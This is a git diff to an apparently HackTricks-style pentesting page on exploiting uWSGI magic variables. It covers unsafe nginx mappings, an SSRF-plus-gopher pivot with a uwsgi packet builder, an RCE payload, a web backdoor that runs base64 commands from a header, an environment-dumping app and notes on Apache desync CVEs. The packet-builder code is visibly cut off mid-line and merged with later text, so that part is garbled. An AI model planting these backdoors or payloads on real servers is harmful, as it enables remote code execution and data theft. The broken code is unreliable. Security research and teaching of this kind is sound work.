diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md index c14e80b9dde..592b5917d84 100644 --- a/src/network-services-pentesting/pentesting-web/wsgi.md +++ b/src/network-services-pentesting/pentesting-web/wsgi.md @@ -4,20 +4,47 @@ ## WSGI Overview -Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications. +Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications. Its native binary transport is the uwsgi protocol (lowercase) which carries a bag of key/value parameters ("uwsgi params") to the backend application server. + +Related pages you may also want to check: + +{{#ref}} +werkzeug.md +{{#endref}} + +{{#ref}} +../../pentesting-web/ssrf-server-side-request-forgery/README.md +{{#endref}} ## uWSGI Magic Variables Exploitation -uWSGI provides special "magic variables" that can be used to dynamically configure the server behavior. These variables can be set through HTTP headers and may lead to serious security vulnerabilities when not properly validated. +uWSGI provides special "magic variables" that can change how the instance loads and dispatches applications. These variables are not normal HTTP headers — they are uwsgi parameters carried inside the uwsgi/SCGI/FastCGI request from the reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) to the uWSGI backend. If a proxy configuration maps user-controlled data into uwsgi parameters (for example via `$arg_*`, `$http_*`, or unsafely exposed endpoints that talk the uwsgi protocol), attackers can set these variables and achieve code execution. + +### Dangerous mappings in front proxies (nginx example) + +Misconfigurations like the following directly expose uWSGI magic variables to user input: + +``` +location /app/ { + include uwsgi_params; + # DANGEROUS: maps query args into uwsgi params + uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py + uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod + uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application + uwsgi_pass unix:/run/uwsgi/app.sock; +} +``` + +If the app or upload feature allows writing files under a predictable path, combining it with the mappings above usually results in immediate RCE when the backend loads the attacker-controlled file/module. ### Key Exploitable Variables -#### `UWSGI_FILE` - Arbitrary File Execution +#### `UWSGI_FILE` - Arbitrary File Load/Execute ``` uwsgi_param UWSGI_FILE /path/to/python/file.py; ``` -This variable allows loading and executing arbitrary Python files as WSGI applications. If an attacker can control this parameter, they can achieve Remote Code Execution (RCE). +Loads and executes an arbitrary Python file as a WSGI application. If an attacker can control this parameter through the uwsgi param bag, they can achieve Remote Code Execution (RCE). #### `UWSGI_SCRIPT` - Script Loading ``` @@ -46,51 +73,66 @@ uwsgi_param UWSGI_PYHOME /path/to/malicious/venv; ``` Changes the Python virtual environment, potentially loading malicious packages or different Python interpreters. -#### `UWSGI_CHDIR` - Directory Traversal +#### `UWSGI_CHDIR` - Directory Change ``` uwsgi_param UWSGI_CHDIR /etc/; ``` -Changes the working directory before processing requests, which can be used for path traversal attacks. +Changes the working directory before processing requests and may be combined with other features. + +## SSRF + uwsgi protocol (gopher) pivot -## SSRF + Gopher to +### Threat model -### The Attack Vector +If the target web app exposes an SSRF primitive and the uWSGI instance listens on an internal TCP socket (for example, `socket = 127.0.0.1:3031`), you can talk the raw uwsgi protocol via gopher and inject uWSGI magic variables. -When uWSGI is accessible through SSRF (Server-Side Request Forgery), attackers can interact with the internal uWSGI socket to exploit magic variables. This is particularly dangerous when: +This is possible because many deployments use a non-HTTP uwsgi socket internally; the reverse proxy (nginx/Apache) translates client HTTP into the uwsgi param bag. With SSRF+gopher you can directly craft the uwsgi binary packet and set dangerous variables like `UWSGI_FILE`. -1. The application has SSRF vulnerabilities -2. uWSGI is running on an internal port/socket -3. The application doesn't properly validate magic variables +### uWSGI protocol structure (quick reference) -uWSGI is accessible due to SSRF because the config file `uwsgi.ini` contains: `socket = 127.0.0.1:5000` making it accessible from the web application through SSRF. +- Header (4 bytes): `modifier1` (1 byte), `datasize` (2 bytes little-endian), `modifier2` (1 byte) +- Body: sequence of `[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]` -### Exploitation Example +For standard requests `modifier1` is 0. The body contains uwsgi params such as `SERVER_PROTOCOL`, `REQUEST_METHOD`, `PATH_INFO`, `UWSGI_FILE`, etc. See the official protocol spec for full details. + +### Minimal packet builder (generate gopher payload) -#### Step 1: Create Malicious Payload -First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter): ```python -# Payload injected into a JSON profile file -import os -os.system("/readflag > /app/profiles/result.json") -``` +import struct, urllib.parse -#### Step 2: Craft uWSGI Protocol Request -Use Gopher protocol to send raw uWSGI packets: -``` +def uwsgi_gopher_url(host, port, params): + body = b''.join([struct.pack(' /app/profiles/result.txt') + +def application(environ, start_response): + start_response('200 OK', [('Content-Type','text/plain')]) + return [b'ok'] +``` +Generate and trigger a gopher payload that sets `UWSGI_FILE` to this path. The backend will import and execute it as a WSGI app. ## Post-Exploitation Techniques @@ -99,8 +141,7 @@ The uWSGI protocol uses a binary format where: #### File-based Backdoor ```python # backdoor.py -import subprocess -import base64 +import subprocess, base64 def application(environ, start_response): cmd = environ.get('HTTP_X_CMD', '') @@ -108,21 +149,15 @@ def application(environ, start_response): result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True) response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}" else: - response = "Backdoor active" - + response = 'Backdoor active' start_response('200 OK', [('Content-Type', 'text/plain')]) return [response.encode()] ``` - -Then use `UWSGI_FILE` to load this backdoor: -``` -uwsgi_param UWSGI_FILE /tmp/backdoor.py; -uwsgi_param SCRIPT_NAME /admin; -``` +Load it with `UWSGI_FILE` and reach it under a chosen `SCRIPT_NAME`. #### Environment-based Persistence ``` -uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages; +uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages; ``` ### 2. Information Disclosure @@ -130,36 +165,22 @@ uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packa #### Environment Variable Dumping ```python # env_dump.py -import os -import json +import os, json def application(environ, start_response): - env_data = { - 'os_environ': dict(os.environ), - 'wsgi_environ': dict(environ) - } - + env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)} start_response('200 OK', [('Content-Type', 'application/json')]) return [json.dumps(env_data, indent=2).encode()] ``` #### File System Access -Use `UWSGI_CHDIR` combined with file serving to access sensitive files: -``` -uwsgi_param UWSGI_CHDIR /etc/; -uwsgi_param UWSGI_FILE /app/file_server.py; -``` +Combine `UWSGI_CHDIR` with a file-serving helper to browse sensitive directories. -### 3. Privilege Escalation +### 3. Privilege Escalation ideas -#### Socket Manipulation -If uWSGI runs with elevated privileges, attackers might manipulate socket permissions: -``` -uwsgi_param UWSGI_CHDIR /tmp; -uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data; -``` +- If uWSGI runs with elevated privileges and writes sockets/pids owned by root, abusing env and directory changes may help you drop files with privileged owners or manipulate runtime state. +- Overriding configuration via environment (`UWSGI_*`) inside a file loaded through `UWSGI_FILE` can affect process model and workers to make persistence stealthier. -#### Configuration Override ```python # malicious_config.py import os @@ -170,10 +191,21 @@ os.environ['UWSGI_PROCESSES'] = '1' os.environ['UWSGI_CHEAPER'] = '1' ``` +## Reverse-proxy desync issues relevant to uWSGI chains (recent) + +Deployments that use Apache httpd with `mod_proxy_uwsgi` have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer: + +- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when `mod_proxy_uwsgi` is in use. Upgrading Apache to ≥2.4.56 mitigates the issue. +- CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.” + +These do not directly grant RCE in uWSGI, but in edge cases they can be chained with header injection or SSRF to pivot towards the uwsgi backend. During tests, fingerprint the proxy and version and consider desync/smuggling primitives as an entry to backend-only routes and sockets. + ## References - [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html) - [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata) - [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html) +- [The uwsgi Protocol (spec)](https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html) +- [uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments](https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.26.html) {{#include ../../banners/hacktricks-training.md}}